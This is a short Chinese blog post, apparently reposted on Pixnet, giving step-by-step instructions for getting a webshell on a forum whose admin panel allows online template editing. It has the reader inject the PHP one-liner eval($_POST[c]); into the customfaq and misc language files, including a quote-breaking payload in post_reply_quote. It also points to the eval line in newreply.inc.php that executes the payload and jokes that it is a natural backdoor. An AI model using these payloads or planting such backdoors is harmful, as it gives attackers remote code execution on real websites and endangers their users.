如果後台可以在線編輯模板的話,下面的方法就可以拿SHELL了:)

1.後台編輯customfaq(customfaq.lang.php文件)

複製內容到剪貼板
代碼:
eval($_POST[c]);
2.後台編輯misc(misc.lang.php文件)
把post_reply_quote對應的內容改為
複製內容到剪貼板
代碼:
";eval($_POST[c]);"
在前台回帖處選擇引用回復。
簡單看下代碼:

include/newreply.inc.php 107行:
複製內容到剪貼板
代碼:
eval("\$language['post_reply_quote'] = \"$language[post_reply_quote]\";");
呵呵,一個天然的後門:)
PS:還有幾個編輯模板的地方可以利用,和第二種方法類似。
創作者介紹
創作者 jacky2172 的頭像
jacky2172

☆賢☆

jacky2172 發表在 痞客邦 留言(0) 人氣()